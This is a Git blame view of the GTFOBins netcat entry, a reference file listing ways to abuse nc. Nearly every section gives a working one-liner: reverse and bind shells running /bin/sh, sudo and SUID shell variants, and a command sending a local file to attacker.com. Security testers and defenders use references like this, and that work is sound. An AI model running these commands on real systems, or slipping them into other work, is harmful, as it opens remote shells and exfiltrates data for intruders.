GTFOBins.github.io/_gtfobins/nc.md

40 lines
1.4 KiB
Markdown
Raw Normal View History

2018-05-21 19:14:41 +00:00
---
functions:
2018-10-05 17:55:38 +00:00
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
2018-07-16 13:01:50 +00:00
code: |
RHOST=attacker.com
RPORT=12345
nc -e /bin/sh $RHOST $RPORT
2018-10-05 17:55:38 +00:00
bind-shell:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional.
2018-07-16 13:01:50 +00:00
code: |
LPORT=12345
nc -l -p $LPORT -e /bin/sh
2018-10-05 17:55:38 +00:00
file-upload:
2018-07-16 13:01:50 +00:00
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
2018-10-05 17:55:38 +00:00
file-download:
2018-07-22 11:47:43 +00:00
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
2018-07-16 13:01:50 +00:00
code: |
LPORT=12345
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
2018-10-05 17:55:38 +00:00
sudo:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
2018-07-22 14:42:43 +00:00
sudo nc -e /bin/sh $RHOST $RPORT
2018-10-05 17:55:38 +00:00
limited-suid:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
2018-07-22 14:42:43 +00:00
./nc -e /bin/sh $RHOST $RPORT
2018-05-21 19:14:41 +00:00
---